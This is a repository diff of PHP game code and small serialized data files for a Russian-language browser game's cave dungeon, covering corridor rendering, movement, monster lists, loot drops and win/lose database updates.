if(!$step3['right']) $s.='<div style="position:absolute; left:11px; top:10px;"><img src="labirint3/'.$styles.'/rn3.gif" width="352" height="240" title="Этаж 1 - Канализация"></div>';
if($step3['right']) {$s.='<div style="position:absolute; left:11px; top:10px;"><img src="labirint3/'.$styles.'/ry3.gif" width="352" height="240" title="Этаж 1 - Канализация"></div>';}
if($step3['left']) {$s.='<div style="position:absolute; left:11px; top:10px;"><img src="labirint3/'.$styles.'/ly3.gif" width="352" height="240" title="Этаж 1 - Канализация"></div>';}
if(!$step3['left']) {$s.='<div style="position:absolute; left:11px; top:10px;"><img src="labirint3/'.$styles.'/ln3.gif" width="352" height="240" title="Этаж 1 - Канализация"></div>';}
if(!$step2['right']) {$s.='<div style="position:absolute; left:11px; top:10px;"><img src="labirint3/'.$styles.'/rn2.gif" width="352" height="240" title="Этаж 1 - Канализация"></div>';}
if($step2['right']) {$s.='<div style="position:absolute; left:11px; top:10px;"><img src="labirint3/'.$styles.'/ry2.gif" width="352" height="240" title="Этаж 1 - Канализация"></div>';}
if($step2['left']) $s.='<div style="position:absolute; left:11px; top:10px;"><img src="labirint3/'.$styles.'/ly2.gif" width="352" height="240" title="Этаж 1 - Канализация"></div>';
if(!$step2['left']) $s.='<div style="position:absolute; left:11px; top:10px;"><img src="labirint3/'.$styles.'/ln2.gif" width="352" height="240" title="Этаж 1 - Канализация"></div>';
if(!$step1['right']){$s.='<div style="position:absolute; left:11px; top:10px;"><img src="labirint3/'.$styles.'/rn1.gif" width="352" height="240" title="Этаж 1 - Канализация"></div>';}
if($step1['right']) {$s.='<div style="position:absolute; left:11px; top:10px;"><img src="labirint3/'.$styles.'/ry1.gif" width="352" height="240" title="Этаж 1 - Канализация"></div>';}
if($step1['left']) {$s.='<div style="position:absolute; left:11px; top:10px;"><img src="labirint3/'.$styles.'/ly1.gif" width="352" height="240" alt="Этаж 1 - Канализация"></div>';}
if(!$step1['left']) {$s.='<div style="position:absolute; left:11px; top:10px;"><img src="labirint3/'.$styles.'/ln1.gif" width="352" height="240" alt="Этаж 1 - Канализация"></div>';}
///////stenq////////
if(!$step4['fwd']) $s.='<div style="position:absolute; left:11px; top:10px;"><img src="labirint3/'.$styles.'/cy3.gif" width="352" height="240" title="Этаж 1 - Канализация"></div>';
if(!$step3['fwd']) $s.='<div style="position:absolute; left:11px; top:10px;"><img src="labirint3/'.$styles.'/cn3.gif" width="352" height="240" title="Этаж 1 - Канализация"></div>';
if(!$step2['fwd'])$s.='<div style="position:absolute; left:11px; top:10px;"><img src="labirint3/'.$styles.'/cn2.gif" width="352" height="240" title="Этаж 1 - Канализация"></div>';
if(!$step1['fwd']) $s.='<div style="position:absolute; left:11px; top:10px;"><img src="labirint3/'.$styles.'/cn1.gif" width="352" height="240" title="Этаж 1 - Канализация"></div>';
include"podzem_mod.php";
return $s;
}
function next_step($location, $vector) {
global $rhar;
$row=intval(substr($location, 0, 1));
$col=intval(substr($location, 1));
$cell=array();
// fwd
$c=$col;$r=$row;
if($vector==90) {$c=$col+1;}
elseif($vector==180) {$r=$row-1;}
elseif($vector==270) {$c=$col-1;}
else {$r=$row+1;}
$cell['fwd']=$r.$c;
if($r>9 or $r<0 or $c>9 or $c<0 or !in_array($cell['fwd'], $rhar[$location])) {$cell['fwd']=false;}
// left
$c=$col;$r=$row;
if($vector==90) {$r=$row+1;}
elseif($vector==180) {$c=$col+1;}
elseif($vector==270) {$r=$row-1;}
else {$c=$col-1;}
$cell['left']=$r.$c;
if($r>9 or $r<0 or $c>9 or $c<0 or !in_array($cell['left'], $rhar[$location])) {$cell['left']=false;}
// right
$c=$col;$r=$row;
if($vector==90) {$r=$row-1;}
elseif($vector==180) {$c=$col-1;}
elseif($vector==270) {$r=$row+1;}
else {$c=$col+1;}
$cell['right']=$r.$c;
if($r>9 or $r<0 or $c>9 or $c<0 or !in_array($cell['right'], $rhar[$location])) {$cell['right']=false;}
// back
$c=$col;$r=$row;
if($vector==90) {$c=$col-1;}
elseif($vector==180) {$r=$row+1;}
elseif($vector==270) {$c=$col+1;}
else {$r=$row-1;}
$cell['back']=$r.$c;
if($r>9 or $r<0 or $c>9 or $c<0 or !in_array($cell['back'], $rhar[$location])) {$cell['back']=false;}
return $cell;
}
//////////////
}
?>

1405
cave.php Normal file

File diff suppressed because it is too large Load Diff

21
cave/cave_bots.php Normal file
View File

@ -0,0 +1,21 @@
<?
$bots = array(
1 => 10025,
2 => 10026,
3 => 10027,
4 => 10028,
5 => 10031,
6 => 10032,
7 => 10033,
8 => 10034);
$botnames = array(
1 => "Паук",
2 => "Тарантул",
3 => "Гигантская крыса",
4 => "Покровитель нечести",
5 => "Нечто",
6 => "Обезумевший крыс",
7 => "Призрак короля крыс ",
8 => "Обезумевший палач");
?>

12
cave/caveitems.php Normal file
View File

@ -0,0 +1,12 @@
<?php
if($user['room'] == 621) {
$caveitems[1] = array(array('id' => 1126, 'from' => 'shop', 'foronetrip' => 0, 'chance' => 50, 'podzem' => 1));
$caveitems[2] = array(array('id' => 1125, 'from' => 'shop', 'foronetrip' => 0, 'chance' => 40, 'podzem' => 1));
$caveitems[3] = array(array('id' => 1127, 'from' => 'shop', 'foronetrip' => 0, 'chance' => 15, 'podzem' => 1));
$caveitems[4] = array(array('id' => 1128, 'from' => 'shop', 'foronetrip' => 0, 'chance' => 5, 'podzem' => 1));
$caveitems[5] = array(array('id' => 1126, 'from' => 'shop', 'foronetrip' => 0, 'chance' => 60, 'podzem' => 1));
$caveitems[6] = array(array('id' => 1130, 'from' => 'shop', 'foronetrip' => 0, 'chance' => 7), 'podzem' => 1);
$caveitems[7] = array(array('id' => 1129, 'from' => 'shop', 'foronetrip' => 0, 'chance' => 10, 'podzem' => 1));
$caveitems[8] = array(array('id' => 1131, 'from' => 'shop', 'foronetrip' => 0, 'chance' => 5, 'podzem' => 1));
}
?>

22
cave/lose.php Normal file
View File

@ -0,0 +1,22 @@
<?
if(in_array($user['room'], $caverooms)) {
include_once("cavedata.php");
$floor = mysql_fetch_row(mysql_query("SELECT `floor` FROM `caveparties` WHERE `user` = '$user[id]' LIMIT 1"));
if(!isset($cavedata[$user['room']]['x'.$floor])) {
$floor = 1;
}
}
$lomka1 = $lomka;
foreach($lomka1 as $k => $v) {
if($v < _BOTSEPARATOR_) {
if(in_array($user['room'], $caverooms)) {
mysql_query("UPDATE `caveparties` SET `floor` = $floor, `x` = '".$cavedata[$user['room']]['x'.$floor]."', `y` = '".$cavedata[$user['room']]['y'.$floor]."', `dir` = '".$cavedata[$user['room']]['dir'.$floor]."', `loses` = (`loses`+1) WHERE `user` = '$v' LIMIT 1");
}
if($user['laba'] > 0) {
mysql_query('UPDATE `users` SET `x` = `xf`, `y` = `yr` WHERE `id` = "'.$v.'" LIMIT 1');
}
}
}
?>

66
cave/win.php Normal file
View File

@ -0,0 +1,66 @@
<?
if(in_array($user['room'], $caverooms)) {
include("caveitems.php");
mysql_query('LOCK TABLES `actions` WRITE, `cavebots` WRITE, `caveitems` WRITE, `shop` WRITE, `caveparties` WRITE');
$location = mysql_fetch_array(mysql_query("SELECT `x`, `y`, `dir`, `floor` FROM `caveparties` WHERE `user` = '$user[id]' LIMIT 1"));
if($location['dir'] == 0) {
$y = $location['y']*2;
$x = ($location['x']-1)*2;
}
if($location['dir'] == 1) {
$y = ($location['y']-1)*2;
$x = $location['x']*2;
}
if($location['dir'] == 2) {
$y = $location['y']*2;
$x = ($location['x']+1)*2;
}
if($location['dir'] == 3) {
$y = ($location['y']+1)*2;
$x = $location['x']*2;
}
$floor = $location['floor'];
$r = mysql_query("SELECT `bot`, `x`, `y`, `cnt` FROM `cavebots` WHERE `battle` = '".$this->battle_data["id"]."'");
$i = 0; $cnt = 0;
while($rec = mysql_fetch_assoc($r)) {
$bot = $rec['bot'];
$cnt = $rec['cnt'];
if(@$caveitems[$bot]) {
if($user['room'] == 621) {
$i = mt_rand(0, (count($caveitems[$bot]) - 1));
$item = $caveitems[$bot][$i];
if(getchance($item['chance'])) {
$it = mysql_fetch_array(mysql_query("SELECT `id`, `name`, `img` FROM `$item[from]` WHERE `id` = $item[id] LIMIT 1"));
$podz = 1;
mysql_query('INSERT INTO `caveitems` SET `podzem` = "'.$item['podzem'].'", `leader` = "'.$user['caveleader'].'", `x` = "'.$rec['x'].'", `y` = "'.$rec['y'].'", `floor` = "'.$floor.'", `name` = "'.$it['name'].'", `img` = "'.$it['img'].'", `item` = "'.$item['id'].'"'.($item['foronetrip'] ? ", `foronetrip` = 1" : ""));
cavesys("У <b>".$cavebots[$bot]."</b> был предмет <b>$it[name]</b> и кто угодно может подобрать его.");
$this->AddToLog('<span class=date>'.date("H:i")."</span> У <b>".$cavebots[$bot]."</b> был предмет <b>$it[name]</b>.<BR>");
}
}
}
}
if($user['caveleader'] > 0) {
$bots = array(1 => 10025, 2 => 10026, 3 => 10027, 4 => 10028, 5 => 10031, 6 => 10032, 7 => 10033, 8 => 10034);
$tp = 1;
while($tp <= $cnt) {
$vars = 'win_bot_'.$bots[$bot];
$ins = mysql_query('INSERT INTO `actions` (`uid`, `time`, `city`, `room`, `vars`, `ip`, `vals`) VALUES ("'.$user['id'].'", "'.time().'", "capitalcity", "0", "'.mysql_real_escape_string($vars).'", "'.mysql_real_escape_string($_SERVER['HTTP_X_REAL_IP']).'", "0")');
if(!$ins) {
echo mysql_error();
}
$tp++;
}
}
mysql_query("DELETE FROM `cavebots` WHERE `battle` = '".$this->battle_data["id"]."'");
mysql_query('UNLOCK TABLES');
}
?>

5
cavedata.php Normal file
View File

@ -0,0 +1,5 @@
<?php
$cavedata = array(621 => array('x1' => 6, 'y1' => 11, 'dir1' => 1, 'x2' => 10, 'y2' => 8, 'dir2' => 1, 'x3' => 20, 'y3' => 4, 'dir3' => 1,'x4' => 10, 'y4' => 10, 'dir4' => 1, 'delay' => 360, 'name1' => 'Проклятый Рудник', 'name2' => 'Проклятого Рудника'));
?>

1
cavedata/0-.dat Normal file
View File

@ -0,0 +1 @@
a:1:{s:6:"wander";i:1437411017;}

1
cavedata/10019-1.dat Normal file
View File

@ -0,0 +1 @@
a:1:{s:6:"wander";i:1440857761;}

1
cavedata/10019-2.dat Normal file
View File

@ -0,0 +1 @@
a:0:{}

1
cavedata/10019-3.dat Normal file
View File

@ -0,0 +1 @@
a:0:{}

1
cavedata/10019-4.dat Normal file
View File

@ -0,0 +1 @@
a:0:{}

1
cavedata/10022-.dat Normal file
View File

@ -0,0 +1 @@
a:1:{s:6:"wander";i:1437314033;}

1
cavedata/10022-1.dat Normal file
View File

@ -0,0 +1 @@
a:1:{s:6:"wander";i:1481111105;}

1
cavedata/10022-2.dat Normal file
View File

@ -0,0 +1 @@
a:0:{}

1
cavedata/10022-3.dat Normal file
View File

@ -0,0 +1 @@
a:0:{}

1
cavedata/10022-4.dat Normal file
View File

@ -0,0 +1 @@
a:0:{}

1
cavedata/10029-1.dat Normal file
View File

@ -0,0 +1 @@
a:1:{s:6:"wander";i:1440065042;}

1
cavedata/10029-2.dat Normal file
View File

@ -0,0 +1 @@
a:0:{}

1
cavedata/10029-3.dat Normal file
View File

@ -0,0 +1 @@
a:0:{}

1
cavedata/10029-4.dat Normal file
View File

@ -0,0 +1 @@
a:0:{}

1
cavedata/10035-1.dat Normal file
View File

@ -0,0 +1 @@
a:1:{s:6:"wander";i:1440504347;}

1
cavedata/10035-2.dat Normal file
View File

@ -0,0 +1 @@
a:0:{}

1
cavedata/10035-3.dat Normal file
View File

@ -0,0 +1 @@
a:0:{}

1
cavedata/10035-4.dat Normal file
View File

@ -0,0 +1 @@
a:0:{}

1
cavedata/10036-1.dat Normal file
View File

@ -0,0 +1 @@
a:1:{s:6:"wander";i:1440504413;}

1
cavedata/10038-1.dat Normal file
View File

@ -0,0 +1 @@
a:1:{s:6:"wander";i:1440777658;}

1
cavedata/10038-2.dat Normal file
View File

@ -0,0 +1 @@
a:0:{}

1
cavedata/10038-3.dat Normal file
View File

@ -0,0 +1 @@
a:0:{}

1
cavedata/10038-4.dat Normal file
View File

@ -0,0 +1 @@
a:0:{}

1
cavedata/10041-1.dat Normal file
View File

@ -0,0 +1 @@
a:1:{s:6:"wander";i:1441539924;}

1
cavedata/10041-2.dat Normal file
View File

@ -0,0 +1 @@
a:1:{s:6:"wander";i:1441539953;}

1
cavedata/10041-3.dat Normal file
View File

@ -0,0 +1 @@
a:0:{}

1
cavedata/10041-4.dat Normal file
View File

@ -0,0 +1 @@
a:0:{}

1
cavedata/10044-1.dat Normal file
View File

@ -0,0 +1 @@
a:1:{s:6:"wander";i:1445452557;}

1
cavedata/10044-2.dat Normal file
View File

@ -0,0 +1 @@
a:0:{}

1
cavedata/10044-3.dat Normal file
View File

@ -0,0 +1 @@
a:0:{}

1
cavedata/10044-4.dat Normal file
View File

@ -0,0 +1 @@
a:0:{}

1
cavedata/10045-1.dat Normal file
View File

@ -0,0 +1 @@
a:1:{s:6:"wander";i:1445875949;}

1
cavedata/10045-2.dat Normal file
View File

@ -0,0 +1 @@
a:1:{s:6:"wander";i:1445876186;}

1
cavedata/10045-3.dat Normal file
View File

@ -0,0 +1 @@
a:0:{}

1
cavedata/10045-4.dat Normal file
View File

@ -0,0 +1 @@
a:0:{}

1
cavedata/10046-1.dat Normal file
View File

@ -0,0 +1 @@
a:1:{s:6:"wander";i:1446144927;}

Some files were not shown because too many files have changed in this diff Show More